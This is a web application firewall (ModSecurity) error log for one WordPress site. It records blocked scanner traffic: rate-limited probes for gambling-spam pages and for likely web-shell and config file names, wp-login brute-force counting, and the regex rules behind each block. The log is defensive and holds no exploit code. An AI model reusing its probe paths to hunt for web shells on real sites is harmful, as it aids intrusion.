[Fri Apr 10 19:58:40.643702 2026] [:error] [pid 3934:tid 3963] [client 54.36.60.45:50068] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "adjl8Ia41m-BS8mg82e9gQAAANg"]
[Fri Apr 10 19:58:42.525040 2026] [:error] [pid 13102:tid 13163] [client 54.36.60.45:50072] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "adjl8v9xLvjW2guI55aSRgAAAAM"]
[Fri Apr 10 19:58:44.557093 2026] [:error] [pid 3934:tid 3946] [client 54.36.60.45:43114] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "adjl9Ia41m-BS8mg82e9kgAAAMc"]
[Fri Apr 10 19:58:46.426446 2026] [:error] [pid 25984:tid 26005] [client 54.36.60.45:43122] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adjl9rsdbY_MC14OH17VtAAAAVA"]
[Fri Apr 10 19:58:48.448865 2026] [:error] [pid 13102:tid 13176] [client 54.36.60.45:43124] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "adjl-P9xLvjW2guI55aSVAAAABA"]
[Fri Apr 10 19:58:50.463280 2026] [:error] [pid 13102:tid 13169] [client 54.36.60.45:43126] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "adjl-v9xLvjW2guI55aSYAAAAAk"]
[Fri Apr 10 19:58:52.478309 2026] [:error] [pid 3934:tid 3953] [client 54.36.60.45:43142] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adjl_Ia41m-BS8mg82e9qQAAAM4"]
[Fri Apr 10 19:58:54.344338 2026] [:error] [pid 13189:tid 13199] [client 54.36.60.45:56460] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adjl_pAxiJKPums3eBCT8gAAAEc"]
[Fri Apr 10 19:58:56.377613 2026] [:error] [pid 13101:tid 13135] [client 54.36.60.45:56472] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "adjmAN8Ldw85818pj2q7HAAAAII"]
[Fri Apr 10 19:58:58.389436 2026] [:error] [pid 13189:tid 13203] [client 54.36.60.45:56478] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "adjmApAxiJKPums3eBCT_QAAAEs"]
[Fri Apr 10 19:59:00.404683 2026] [:error] [pid 13189:tid 13210] [client 54.36.60.45:56494] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adjmBJAxiJKPums3eBCUBAAAAFI"]
[Fri Apr 10 19:59:02.422198 2026] [:error] [pid 13102:tid 13184] [client 54.36.60.45:56504] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adjmBv9xLvjW2guI55aSfQAAABg"]
[Fri Apr 10 19:59:04.436980 2026] [:error] [pid 13189:tid 13202] [client 54.36.60.45:40536] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "adjmCJAxiJKPums3eBCUCQAAAEo"]
[Fri Apr 10 19:59:06.444824 2026] [:error] [pid 13101:tid 13142] [client 54.36.60.45:40540] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "adjmCt8Ldw85818pj2q7MgAAAIk"]
[Fri Apr 10 20:26:01.127067 2026] [:error] [pid 13102:tid 13184] [client 41.76.214.94:35784] [client 41.76.214.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.76.214.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adjsWf9xLvjW2guI55apawAAABg"]
[Fri Apr 10 20:53:51.385569 2026] [:error] [pid 13101:tid 13144] [client 43.153.10.13:55144] [client 43.153.10.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adjy398Ldw85818pj2rReAAAAIs"]
[Fri Apr 10 21:41:29.204834 2026] [:error] [pid 13189:tid 13206] [client 165.227.38.113:38124] [client 165.227.38.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.38.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adj-CZAxiJKPums3eBDDKwAAAE4"]
[Fri Apr 10 21:41:31.963793 2026] [:error] [pid 13189:tid 13202] [client 165.227.38.113:38124] [client 165.227.38.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.38.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adj-C5AxiJKPums3eBDDNgAAAEo"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 10 22:19:17.193652 2026] [:error] [pid 62819:tid 62837] [client 158.158.45.58:3165] [client 158.158.45.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Ipv6.php"] [unique_id "adkG5fU20EyPf7Nlsldy6QAAAo8"]
[Fri Apr 10 22:19:25.705383 2026] [:error] [pid 62769:tid 62771] [client 158.158.45.58:46774] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-gertdxz.php"] [unique_id "adkG7cWsSnfLoB8ifjB6sgAAAkA"]
[Fri Apr 10 22:19:26.275282 2026] [:error] [pid 13189:tid 13199] [client 158.158.45.58:39494] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-gertdxz.php"] [unique_id "adkG7pAxiJKPums3eBDXQgAAAEc"]
[Fri Apr 10 22:19:26.771580 2026] [:error] [pid 62710:tid 62720] [client 158.158.45.58:50121] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-gertdxz.php"] [unique_id "adkG7uME7qrf5xEWWJsn8AAAAgc"]
[Fri Apr 10 22:19:27.257778 2026] [:error] [pid 63134:tid 63156] [client 158.158.45.58:46112] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-gertdxz.php"] [unique_id "adkG79FALqPDwWi6eJKxBAAAA9M"]
[Fri Apr 10 22:19:27.738747 2026] [:error] [pid 62884:tid 62904] [client 158.158.45.58:48067] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "adkG7-UCK1xrhnnmpo2L5AAAAs0"]
[Fri Apr 10 22:19:28.212340 2026] [:error] [pid 62710:tid 62721] [client 158.158.45.58:39550] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "adkG8OME7qrf5xEWWJsn8QAAAgg"]
[Fri Apr 10 22:19:28.695861 2026] [:error] [pid 62710:tid 62727] [client 158.158.45.58:28063] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "adkG8OME7qrf5xEWWJsn8wAAAg4"]
[Fri Apr 10 22:19:29.190488 2026] [:error] [pid 62710:tid 62737] [client 158.158.45.58:46090] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "adkG8eME7qrf5xEWWJsn9QAAAhg"]
[Fri Apr 10 22:19:29.698726 2026] [:error] [pid 62710:tid 62731] [client 158.158.45.58:28085] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adkG8eME7qrf5xEWWJsn-gAAAhI"]
[Fri Apr 10 22:19:30.207022 2026] [:error] [pid 62884:tid 62893] [client 158.158.45.58:44179] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adkG8uUCK1xrhnnmpo2L5gAAAsI"]
[Fri Apr 10 22:19:30.725054 2026] [:error] [pid 62651:tid 62659] [client 158.158.45.58:44202] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adkG8jbAH0le57SIaqwsCAAAAcY"]
[Fri Apr 10 22:19:31.203279 2026] [:error] [pid 13189:tid 13209] [client 158.158.45.58:3269] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adkG85AxiJKPums3eBDXTQAAAFE"]
[Fri Apr 10 22:19:31.722617 2026] [:error] [pid 13189:tid 13205] [client 158.158.45.58:35848] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "adkG85AxiJKPums3eBDXTgAAAE0"]
[Fri Apr 10 22:19:32.208548 2026] [:error] [pid 13189:tid 13196] [client 158.158.45.58:38763] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "adkG9JAxiJKPums3eBDXUAAAAEQ"]
[Fri Apr 10 22:19:32.794009 2026] [:error] [pid 62819:tid 62837] [client 158.158.45.58:29389] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "adkG9PU20EyPf7Nlsldy-AAAAo8"]
[Fri Apr 10 22:19:33.282682 2026] [:error] [pid 62710:tid 62721] [client 158.158.45.58:22821] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "adkG9eME7qrf5xEWWJsoBAAAAgg"]
[Fri Apr 10 22:19:33.762893 2026] [:error] [pid 62884:tid 62895] [client 158.158.45.58:52158] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adkG9eUCK1xrhnnmpo2L6QAAAsQ"]
[Fri Apr 10 22:19:34.252694 2026] [:error] [pid 13189:tid 13209] [client 158.158.45.58:35559] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adkG9pAxiJKPums3eBDXWQAAAFE"]
[Fri Apr 10 22:19:34.741819 2026] [:error] [pid 62769:tid 62773] [client 158.158.45.58:36910] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adkG9sWsSnfLoB8ifjB6twAAAkI"]
[Fri Apr 10 22:19:35.222056 2026] [:error] [pid 13189:tid 13205] [client 158.158.45.58:44193] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adkG95AxiJKPums3eBDXXQAAAE0"]
[Fri Apr 10 22:19:35.697885 2026] [:error] [pid 63134:tid 63146] [client 158.158.45.58:50096] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "adkG99FALqPDwWi6eJKxEQAAA8k"]
[Fri Apr 10 22:19:36.280086 2026] [:error] [pid 62884:tid 62909] [client 158.158.45.58:37442] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "adkG-OUCK1xrhnnmpo2L6wAAAtI"]
[Fri Apr 10 22:19:36.792154 2026] [:error] [pid 62769:tid 62794] [client 158.158.45.58:3104] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "adkG-MWsSnfLoB8ifjB6vQAAAlc"]
[Fri Apr 10 22:19:37.271875 2026] [:error] [pid 62769:tid 62776] [client 158.158.45.58:35891] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "adkG-cWsSnfLoB8ifjB6wAAAAkU"]
[Fri Apr 10 22:19:37.744973 2026] [:error] [pid 62884:tid 62907] [client 158.158.45.58:37461] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "adkG-eUCK1xrhnnmpo2L7AAAAtA"]
[Fri Apr 10 22:19:38.254729 2026] [:error] [pid 62819:tid 62840] [client 158.158.45.58:3121] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "adkG-vU20EyPf7Nlsldy_QAAApI"]
[Fri Apr 10 22:19:38.747991 2026] [:error] [pid 63134:tid 63147] [client 158.158.45.58:31420] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "adkG-tFALqPDwWi6eJKxEgAAA8o"]
[Fri Apr 10 22:19:39.226462 2026] [:error] [pid 62710:tid 62713] [client 158.158.45.58:42038] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "adkG--ME7qrf5xEWWJsoCwAAAgA"]
[Fri Apr 10 22:19:39.736832 2026] [:error] [pid 63134:tid 63141] [client 158.158.45.58:26046] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adkG-9FALqPDwWi6eJKxEwAAA8Q"]
[Fri Apr 10 22:19:40.211159 2026] [:error] [pid 63134:tid 63153] [client 158.158.45.58:40494] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adkG_NFALqPDwWi6eJKxFAAAA9A"]
[Fri Apr 10 22:19:40.725920 2026] [:error] [pid 63062:tid 63088] [client 158.158.45.58:39143] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adkG_J2HtsmV85NqkMf7MQAAA5g"]
[Fri Apr 10 22:19:41.200120 2026] [:error] [pid 62769:tid 62772] [client 158.158.45.58:38123] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adkG_cWsSnfLoB8ifjB6xgAAAkE"]
[Fri Apr 10 22:19:41.682473 2026] [:error] [pid 62710:tid 62736] [client 158.158.45.58:3493] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wswer1.php"] [unique_id "adkG_eME7qrf5xEWWJsoDwAAAhc"]
[Fri Apr 10 22:19:42.160882 2026] [:error] [pid 62651:tid 62653] [client 158.158.45.58:3110] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wswer1.php"] [unique_id "adkG_jbAH0le57SIaqwsEQAAAcA"]
[Fri Apr 10 22:19:42.636129 2026] [:error] [pid 13100:tid 13112] [client 158.158.45.58:34821] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wswer1.php"] [unique_id "adkG_lzg-ZkZ0InWIP3FrAAAAQc"]
[Fri Apr 10 22:19:43.151500 2026] [:error] [pid 13100:tid 13110] [client 158.158.45.58:3072] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wswer1.php"] [unique_id "adkG_1zg-ZkZ0InWIP3FrgAAAQU"]
[Fri Apr 10 22:19:43.647184 2026] [:error] [pid 13100:tid 13116] [client 158.158.45.58:26768] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "adkG_1zg-ZkZ0InWIP3FsAAAAQs"]
